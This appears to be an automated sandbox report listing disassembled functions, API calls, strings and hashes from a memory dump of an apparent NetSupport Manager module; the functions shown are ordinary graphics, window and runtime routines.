Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Rect$Window$ClientErrorExitLastMessageProcesswsprintf
String ID: ..\ctl32\nsmdlg.cpp$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$hWnd$m_hWnd
API String ID: 2908456680-3958695921
Opcode ID: 87aeff4303dd2cf9c87f83c743b93d52f7681ad45396254996ce24b0a7bafc92
Instruction ID: 712cfbea46f41dce34da92735377c28625c10b46f47693fc43de73f5d42021ce
Opcode Fuzzy Hash: 87aeff4303dd2cf9c87f83c743b93d52f7681ad45396254996ce24b0a7bafc92
Instruction Fuzzy Hash: 4A316275D00219AFDB14CFA8CC81EEEFBB4EF49318F1481A9E9566B244D730A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 11120080, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(?), ref: 111200AE
SelectObject.GDI32(?,?), ref: 111200C2
DeleteObject.GDI32(00000000), ref: 111200C9
SelectPalette.GDI32 ref: 111200EF
SetStretchBltMode.GDI32(?,00000001), ref: 1112011B

Strings

View, xrefs: 11120101
ScaleToFitMode, xrefs: 111200FC

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Object$DeleteSelect$ModePaletteStretch
String ID: ScaleToFitMode$View
API String ID: 87851494-1738379822
Opcode ID: a4b433c1888417e8b67604caf0941cc76bd26802fc6fd789bbeb79bd1c751b2b
Instruction ID: 201830c2c875b140aabe40817b5b83dce627b488e33d5f9193c9f17d6522663c
Opcode Fuzzy Hash: a4b433c1888417e8b67604caf0941cc76bd26802fc6fd789bbeb79bd1c751b2b
Instruction Fuzzy Hash: B4012575250B05AFE3659BB5D888BA7F3E9FB88709F10491CE5AAC2280CB74B8008B51

Uniqueness

Uniqueness Score: -1.00%

Function 11004860, Relevance: 12.2, APIs: 8, Instructions: 209windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(?), ref: 1100487C
DeleteObject.GDI32(?), ref: 11004A80
CreateCompatibleBitmap.GDI32(?,?,?), ref: 11004AD4
CreateCompatibleDC.GDI32(?), ref: 11004AF9
SelectObject.GDI32(00000000,00000000), ref: 11004B0D
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,?,?,00CC0020), ref: 11004B33
SelectObject.GDI32(00000000,?), ref: 11004B3E
DeleteDC.GDI32(00000000), ref: 11004B45

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Object$Delete$CompatibleCreateSelect$Bitmap
String ID:
API String ID: 4070257480-0
Opcode ID: 960daac165e9f596e3fe3748ed86420231ceeeb6f0b7ddeb1d2d3f1080bc38ff
Instruction ID: 99e98b4e7945a41ca399b9880d0b398e40ede8504b5e7e4566c2d38bb3c2470d
Opcode Fuzzy Hash: 960daac165e9f596e3fe3748ed86420231ceeeb6f0b7ddeb1d2d3f1080bc38ff
Instruction Fuzzy Hash: 5BB139B8A01B019FD369CF29D580B96FBE5BF88304F10892EE9AE93754D770B845CB54

Uniqueness

Uniqueness Score: -1.00%

Function 1111A9B0, Relevance: 12.1, APIs: 8, Instructions: 80windowCOMMON

Download Yara Rule

APIs

SelectPalette.GDI32(?,?,00000000), ref: 1111A9CF
SelectPalette.GDI32(?,00000000,00000000), ref: 1111A9E5
DeleteObject.GDI32(?), ref: 1111A9F8
DeleteObject.GDI32(?), ref: 1111AA05
CreatePalette.GDI32(00000000), ref: 1111AA2B
_free.LIBCMT ref: 1111AA52
SelectPalette.GDI32(?,?,00000000), ref: 1111AA6A
SelectPalette.GDI32(?,?,00000000), ref: 1111AA82

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Palette$Select$DeleteObject$Create_free
String ID:
API String ID: 3619949492-0
Opcode ID: e2a17db89f6aa745687cb7b3055ccdce1d4da0275d6ba8f5d1f8eeb7d1142810
Instruction ID: 3ccb78e33d7d17ad93df3071224c441059527d1883299d25e3a7351851f38629
Opcode Fuzzy Hash: e2a17db89f6aa745687cb7b3055ccdce1d4da0275d6ba8f5d1f8eeb7d1142810
Instruction Fuzzy Hash: 6C215CB6204705ABE720DAB5DD88FA7F7ECAB88714F114A28E56AC7240DA35F441CB64

Uniqueness

Uniqueness Score: -1.00%

Function 1100F990, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 1100F9A9

Part of subcall function 111612E6: std::exception::exception.LIBCMT ref: 111612FB
Part of subcall function 111612E6: __CxxThrowException@8.LIBCMT ref: 11161310
Part of subcall function 111612E6: std::exception::exception.LIBCMT ref: 11161321

std::_Xinvalid_argument.LIBCPMT ref: 1100F9CA
std::_Xinvalid_argument.LIBCPMT ref: 1100F9E5
_memmove.LIBCMT ref: 1100FA4D

Strings

string too long, xrefs: 1100F9C5, 1100F9E0
invalid string position, xrefs: 1100F9A4

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position$string too long
API String ID: 443534600-4289949731
Opcode ID: 65343fa5adcae717427247030e2bc263d0e2c2c33e6d52194a4164a92b342909
Instruction ID: dd7b0a9210ae89047594a984bf0db1b74830ff0f253f3c884b4c9459fb9d7564
Opcode Fuzzy Hash: 65343fa5adcae717427247030e2bc263d0e2c2c33e6d52194a4164a92b342909
Instruction Fuzzy Hash: 1031FE72B04205CFE715CE5DE880A5AF7D9EF957A4B10062FE551CB240D771EC80D792

Uniqueness

Uniqueness Score: -1.00%

Function 11002070, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GlobalAddAtomA.KERNEL32 ref: 11002094
GetSystemMetrics.USER32 ref: 110020EA
GetSystemMetrics.USER32 ref: 110020F4
GetSystemMetrics.USER32 ref: 11002109
GetSystemMetrics.USER32 ref: 11002113

Strings

NSMAnnotate, xrefs: 11002083

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: MetricsSystem$AtomGlobal
String ID: NSMAnnotate
API String ID: 1775358667-1587977882
Opcode ID: 0ab50aaa82936b499c722e1eccc7d7de1002793e4e15bfd85b105029e2cc8b0f
Instruction ID: c7367c546af50a4de639236848e5e5652b6277b92aa1928d07c4543d278ba0f2
Opcode Fuzzy Hash: 0ab50aaa82936b499c722e1eccc7d7de1002793e4e15bfd85b105029e2cc8b0f
Instruction Fuzzy Hash: 2021AFB0901B549FD321DF6A8984696FBE8FFA4754F00491FD2AA87A20D7B5A440CF44

Uniqueness

Uniqueness Score: -1.00%

Function 11095990, Relevance: 9.0, APIs: 6, Instructions: 38COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 1109599E
GetSystemMetrics.USER32 ref: 110959A7
GetSystemMetrics.USER32 ref: 110959AE
GetSystemMetrics.USER32 ref: 110959B7
GetSystemMetrics.USER32 ref: 110959BD
GetSystemMetrics.USER32 ref: 110959C5

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-0
Opcode ID: 2acc5d47520048a17b19bc27345c05a5b6d72aca177766317273f5998d5a9f83
Instruction ID: b65ab4a361e5326c91c4d36ade1d631f08c7cf5d252a1eb012e320adc1ee70d1
Opcode Fuzzy Hash: 2acc5d47520048a17b19bc27345c05a5b6d72aca177766317273f5998d5a9f83
Instruction Fuzzy Hash: 01F030B1B4131A6BE7009FAADC41B55BB98EB48664F008037A71C87680D6B5A8108FE4

Uniqueness

Uniqueness Score: -1.00%

Function 11146190, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11146010: _memset.LIBCMT ref: 11146055
Part of subcall function 11146010: GetVersionExA.KERNEL32(?,00000000,00000000), ref: 1114606E
Part of subcall function 11146010: LoadLibraryA.KERNEL32(kernel32.dll), ref: 11146095
Part of subcall function 11146010: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 111460A7
Part of subcall function 11146010: FreeLibrary.KERNEL32(00000000), ref: 111460BF
Part of subcall function 11146010: GetSystemDefaultLangID.KERNEL32 ref: 111460CA

GetSysColor.USER32(0000000F), ref: 111461A9
LoadBitmapA.USER32 ref: 111461BF
SendDlgItemMessageA.USER32(00000000,00003A97,00000172,00000000,00000000), ref: 111461FB

Strings

hGrip || !"Unable to load sizing grip bitmap", xrefs: 111461DE
..\ctl32\util.cpp, xrefs: 111461D9

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: LibraryLoad$AddressBitmapColorDefaultFreeItemLangMessageProcSendSystemVersion_memset
String ID: ..\ctl32\util.cpp$hGrip || !"Unable to load sizing grip bitmap"
API String ID: 1044520585-3315463184
Opcode ID: 3a3d426a067b35c1d53599d825918b385af0754758e6c14c983fadd2fd90832f
Instruction ID: 8e565c128ad7df1c8f5e5c04fb88379ac646e9871c4513a0e4d424585abd715b
Opcode Fuzzy Hash: 3a3d426a067b35c1d53599d825918b385af0754758e6c14c983fadd2fd90832f
Instruction Fuzzy Hash: 0DF0BB79A4032577E61456F19D05FEBBA5C9B44F5DF004430FE19A7A82DE78D900C3E5

Uniqueness

Uniqueness Score: -1.00%

Function 11146140, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 11146010: _memset.LIBCMT ref: 11146055
Part of subcall function 11146010: GetVersionExA.KERNEL32(?,00000000,00000000), ref: 1114606E
Part of subcall function 11146010: LoadLibraryA.KERNEL32(kernel32.dll), ref: 11146095
Part of subcall function 11146010: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 111460A7
Part of subcall function 11146010: FreeLibrary.KERNEL32(00000000), ref: 111460BF
Part of subcall function 11146010: GetSystemDefaultLangID.KERNEL32 ref: 111460CA

LoadLibraryA.KERNEL32(gdi32.dll,?,745F17C0,?,11003D52,00000000,00000008), ref: 11146155
GetProcAddress.KERNEL32(00000000,SetLayout), ref: 11146167
FreeLibrary.KERNEL32(00000000,?,11003D52,00000000,00000008), ref: 1114617E

Strings

gdi32.dll, xrefs: 11146150
SetLayout, xrefs: 11146161

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Library$AddressFreeLoadProc$DefaultLangSystemVersion_memset
String ID: SetLayout$gdi32.dll
API String ID: 796689547-836973393
Opcode ID: e2a02c7931241414dd0e38b0e94cf2378f17ecdb7d1e00b178c9e364d1f615da
Instruction ID: d41aa01a6e476ec3efb0e30ba4a4f3b24d6e29c0e630937b51d8ced853034778
Opcode Fuzzy Hash: e2a02c7931241414dd0e38b0e94cf2378f17ecdb7d1e00b178c9e364d1f615da
Instruction Fuzzy Hash: B9E0E536300129A7A7041BA6AD449AEBB6CDFC4D6E7110032FD28C3E00DF30D80286B1

Uniqueness

Uniqueness Score: -1.00%

Function 11163964, Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 11163972

Part of subcall function 11163A11: __FF_MSGBANNER.LIBCMT ref: 11163A2A
Part of subcall function 11163A11: __NMSG_WRITE.LIBCMT ref: 11163A31
Part of subcall function 11163A11: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163A56

_free.LIBCMT ref: 11163985

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 038951e35deccbe33e424bc6d0b6b01cb88aea4f76c9cdef2cbfb9def4edf244
Instruction ID: 99a0502aaeb7ade96a4deef53194f79690bd7c081ca6f8299ad08a7ab0eaa67e
Opcode Fuzzy Hash: 038951e35deccbe33e424bc6d0b6b01cb88aea4f76c9cdef2cbfb9def4edf244
Instruction Fuzzy Hash: 6D110837618637AADB121B74A808649FB9CAF843F8B214126E85D96140FEB2D460CF90

Uniqueness

Uniqueness Score: -1.00%

Function 11012090, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 177COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 11012239

Strings

$, xrefs: 110120E7
%, xrefs: 110121CB
+, xrefs: 110121D7

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: swprintf
String ID: $$%$+
API String ID: 233258989-3202472541
Opcode ID: 51dced2a2985a59ef63a696a59479f638707418e9379f640e453f86fe788b150
Instruction ID: 709c54241741de87a29271ffeb556a2f401356d1bb5d83c5dcf625fd940d7789
Opcode Fuzzy Hash: 51dced2a2985a59ef63a696a59479f638707418e9379f640e453f86fe788b150
Instruction Fuzzy Hash: 6C515EF6E002499ADB16CE58C8847CE7BF5FB15304F3085C5ED44AB29AEA3DC994CB90

Uniqueness

Uniqueness Score: -1.00%

Function 11005940, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 11005981
ReleaseDC.USER32 ref: 110059BC

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 1100596B, 110059A5
m_hWnd, xrefs: 11005970, 110059AA

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorExitLastMessageProcessReleasewsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 3704029381-2830328467
Opcode ID: c633f50c0fdfeb7c59634bf7decd603260c8dc5fded95eba86501058678fa527
Instruction ID: 1cf781a21872bd9441bcd9bb2c78fcf7fe1041f1c585c9da4a5e29128da7e192
Opcode Fuzzy Hash: c633f50c0fdfeb7c59634bf7decd603260c8dc5fded95eba86501058678fa527
Instruction Fuzzy Hash: 8C21E475A00705AFE710CB61C880BEBB7E4BF8A358F10407DE5AA4B240DB72A440CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 11064880, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 110648C0
_strtok.LIBCMT ref: 110648F0
_strtok.LIBCMT ref: 11064908

Strings

,= , xrefs: 110648BA, 110648E9, 11064901

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _strtok
String ID: ,=
API String ID: 1675499619-2677018336
Opcode ID: a7df3ff1fea356f7868d7ff07466e0dd293e4d3894f8596d46db452b0bb6c15c
Instruction ID: 98ae7f49cf82626755212bd4ada45269662d59d63fe9f3810d9645104754182f
Opcode Fuzzy Hash: a7df3ff1fea356f7868d7ff07466e0dd293e4d3894f8596d46db452b0bb6c15c
Instruction Fuzzy Hash: 4611292AF042D65FE701CD68AC11BCB7BCE6F06355F058095FD89D7241E661E510C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 11143070, Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

SetBkColor.GDI32(?,?), ref: 11143091
SetRect.USER32 ref: 111430A9
